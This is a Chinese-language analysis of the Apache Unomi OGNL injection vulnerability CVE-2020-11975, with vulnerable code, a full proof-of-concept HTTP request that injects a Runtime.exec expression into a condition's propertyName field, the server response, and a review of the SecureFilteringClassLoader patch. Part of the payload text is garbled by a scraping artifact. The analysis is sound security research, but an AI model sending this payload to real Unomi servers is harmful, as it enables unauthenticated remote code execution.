漏洞分析 - Apache Unomi RCE 第1篇 OGNL注入(CVE-2020-11975)

2020-11-27 11:20:58 Author: xz.aliyun.com
觉得文章还不错?,点我收藏



简介

Apache Unomi是什么?
Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器。

Apache Unomi的用途?
Unomi可用于在各种不同的系统(如CMSs, CRMs, Issue Trackers, native mobile applications等)中"整合个性化"(integrate personalization)和"配置文件管理"(profile management)。

Apache Unomi的优点?
Unomi在2019年被宣布为Top-Level Apache product,具有高度的可扩展性,考虑了易用性。

鉴于Unomi包含大量数据并具有与其他系统的紧密集成的特点,使它成为攻击者的理想目标。

发现了1个什么漏洞?
远程攻击者发送带有了OGNL表达式的请求,可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。
漏洞编号CVE-2020-11975
Credit: This issue was reported by Yiming Xiang of NSFOCUS.

触发前提:
Apache Unomi < 1.5.1 的版本,无需身份验证,能访问到就能RCE。

漏洞分析

Unomi提供了一个受限的API(应该是指需要授权才能访问),可以"取回"(retrieve)数据、操作数据。
此外还有一个公开的endpoint,应用程序可以在这里上传数据、"取回"(retrieve)用户数据。
Unomi允许发往这些endpoint的HTTP requests中包含复杂的conditions(条件)。

Unomi conditions(条件)依赖于"表达式语言"(expression languages,EL),如OGNL或MVEL,以允许用户构造复杂的、细粒度的查询. 在访问存储中的数据之前,基于EL的conditions被计算/执行。

CVE-2020-11975漏洞原理:
在1.5.1之前的版本中,这些"表达式语言"(expression languages)完全不受限制,所以通过EL注入即可实现RCE。
攻击者通过发送1个请求就可以在Unomi服务器上执行任意代码和OS命令。

修复CVE-2020-11975之前的代码:
https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java#L327-L330

public class PropertyConditionEvaluator implements ConditionEvaluator {
 ...
  protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
        ExpressionAccessor accessor = getPropertyAccessor(item, expression);
        return accessor != null ? accessor.get(getOgnlContext(), item) : null;
    }
 ...

解释一下上面的代码:
PropertyConditionEvaluator类负责conditions(条件)内的OGNL表达式的计算/执行。

当Unomi收到了类似于例1的JSON数据时,Unomi如何处理?
例1 JSON数据

{
  "condition":{
    "parameterValues":{
      "propertyName":"Wubba Lubba",
      "comparisonOperator":"equals",
      "propertyValue":"Dub Dub"
      }
  }
}
  • Unomi处理流程
    • 首先,Unomi尝试根据用户输入的"属性名称"(property name),查找"硬编码的属性"(hardcoded properties)。
    • 如果找不到,则调用getOGNLPropertyValue方法,该方法将用户输入的"属性名称"(property name)作为一条OGNL表达式,计算/执行这个"属性名称"。

在计算/执行OGNL表达式时, ExpressionAccessor使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。
例如,"属性名称"(property name)设置为这个OGNL表达式:

(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))

PoC:
CVE-2020-11975 OGNL Injection

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals_anystr",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
}

测试成功。

Response如下(可能不重要,仅供参考)

HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=eeff918c-d8ab-43e9-bf6c-8420a8bd31de; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=49b58042-92d6-4fcf-bb60-9fc0f62d0b5a; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Content-Type: application/json;
Server: Jetty(9.4.22.v20191022)

{"profileId":"49b58042-92d6-4fcf-bb60-9fc0f62d0b5a","sessionId":"test-demo-session-id","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":null,"processedEvents":0,"personalizations":{"gender-test_anystr":["var2"]},"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}

历史漏洞CVE-2020-11975 的修复代码

看看Unomi的开发者怎么修的。

变更1 OGNL处理过程增加了SecureFilteringClassLoader

查看diff: https://github.com/apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca
搜索PropertyConditionEvaluator.java

文件路径: plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java

PropertyConditionEvaluator.java的代码变更: line L328-L333

主要看PropertyConditionEvaluator类 的 getOGNLPropertyValue()方法。
SecureFilteringClassLoader添加到getOGNLPropertyValue()方法中的OgnlContext中,以防止计算/执行任意OGNL表达式。

public class PropertyConditionEvaluator implements ConditionEvaluator {
    ...
    protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
        ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
        OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
        ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
        return accessor != null ? accessor.get(ognlContext, item) : null;
    }
    ...

变更2 MVEL处理过程增加了SecureFilteringClassLoader

计算/执行MVEL表达式的代码,也使用了SecureFilteringClassLoader。

修复前(1.5.0版本)
https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L81-L89

//1.5.0
public class ConditionContextHelper {
...
else if (s.startsWith("script::")) {
                    String script = StringUtils.substringAfter(s, "script::");
                    if (!mvelExpressions.containsKey(script)) {
                        ParserConfiguration parserConfiguration = new ParserConfiguration();
                        parserConfiguration.setClassLoader(ConditionContextHelper.class.getClassLoader());
                        mvelExpressions.put(script,MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
                    }
                    return MVEL.executeExpression(mvelExpressions.get(script), context);
                }
...

修复后(1.5.1版本)
https://github.com/apache/unomi/blob/75c6cf56f1917a9cc5bd157c5e99c0e228cffcfc/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L107-L117

//1.5.1
public class ConditionContextHelper { 
...  
    private static Object executeScript(Map<String, Object> context, String script) {
        final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
        try {
            if (!mvelExpressions.containsKey(script)) {
                ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
                Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
                ParserConfiguration parserConfiguration = new ParserConfiguration();
                parserConfiguration.setClassLoader(secureFilteringClassLoader);
                mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
            }
            return MVEL.executeExpression(mvelExpressions.get(script), context);
            ...

变更3 SecureFilteringClassLoader类的具体实现

这个patch,引入了"安全过滤的ClassLoader" SecureFilteringClassLoader

具体实现,可搜索SecureFilteringClassLoader.java
文件路径: common/src/main/java/org/apache/unomi/common/SecureFilteringClassLoader.java
line 90-99

@Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
            throw new ClassNotFoundException("Access to class " + name + " not allowed");
        }
        if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
            throw new ClassNotFoundException("Access to class " + name + " not allowed");
        }
        return delegate.loadClass(name);
    }

看代码可知,SecureFilteringClassLoader类通过,这样来限制MVEL和OGNL的能力。

看代码可知,SecureFilteringClassLoader类是重写了ClassLoader类的loadClass()方法,在"预定义的集合"(predefined set)中明确限制了"可访问的类"(accessible classes) ,并根据allowlist和blocklist来检查表达式中使用的类:
如果匹配中了blocklist,则抛出异常。
如果没匹配中allowlist,则抛出异常。

历史漏洞CVE-2020-11975 修复效果

看看修复CVE-2020-11975之后的效果,如果攻击者尝试攻击是什么情况。

(1)SecureFilteringClassLoader类 到底如何实现限制OGNL的能力?

攻击者通常使用@符号,来利用OGNL实现RCE:
修复CVE-2020-11975之后,使用@符号来静态地访问"对象类"(object classes)时,OGNL会调用loadClass()

例如java.lang.Runtime.getRuntime()写成OGNL表达式:(unomi版本<1.5.1的版本可RCE)
(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))

unomi版本>=1.5.1,当加载Runtime类时,此表达式不会通过SecureFilteringClassLoader类所执行的检查,也就是说不会成功加载Runtime类。

(2)SecureFilteringClassLoader类 到底如何实现限制MVEL的能力?

其实CVE-2020-11975,并没有用到MVEL表达式,只是开发者考虑到MVEL表达式也可能有同样问题,就一起做了代码变更(修复)。

对于MVEL表达式来说,当使用new语句创建新对象时,也会调用ClassLoader或SecureFilteringClassLoader的loadClass()方法(到底哪个类得看版本了),因此,这次patch代码变更后,使用MVEL表达式也只能"创建"出 来自于(allowlist)"受限类"(restricted set of classes)的集合里的实例。

注意: 这次patch是限制了 "创建" 对象,而没限制使用 "已经存在的" 对象!

总结

CVE-2020-11975是OGNL注入,开发者发现了类似的MVEL注入,这次的patch一起做了限制,看起来好像防住了。

其实这个patch没考虑完全, Checkmarx Security Research Team发现可以绕过。
就有了CVE-2020-13942。下篇再仔细看。




觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me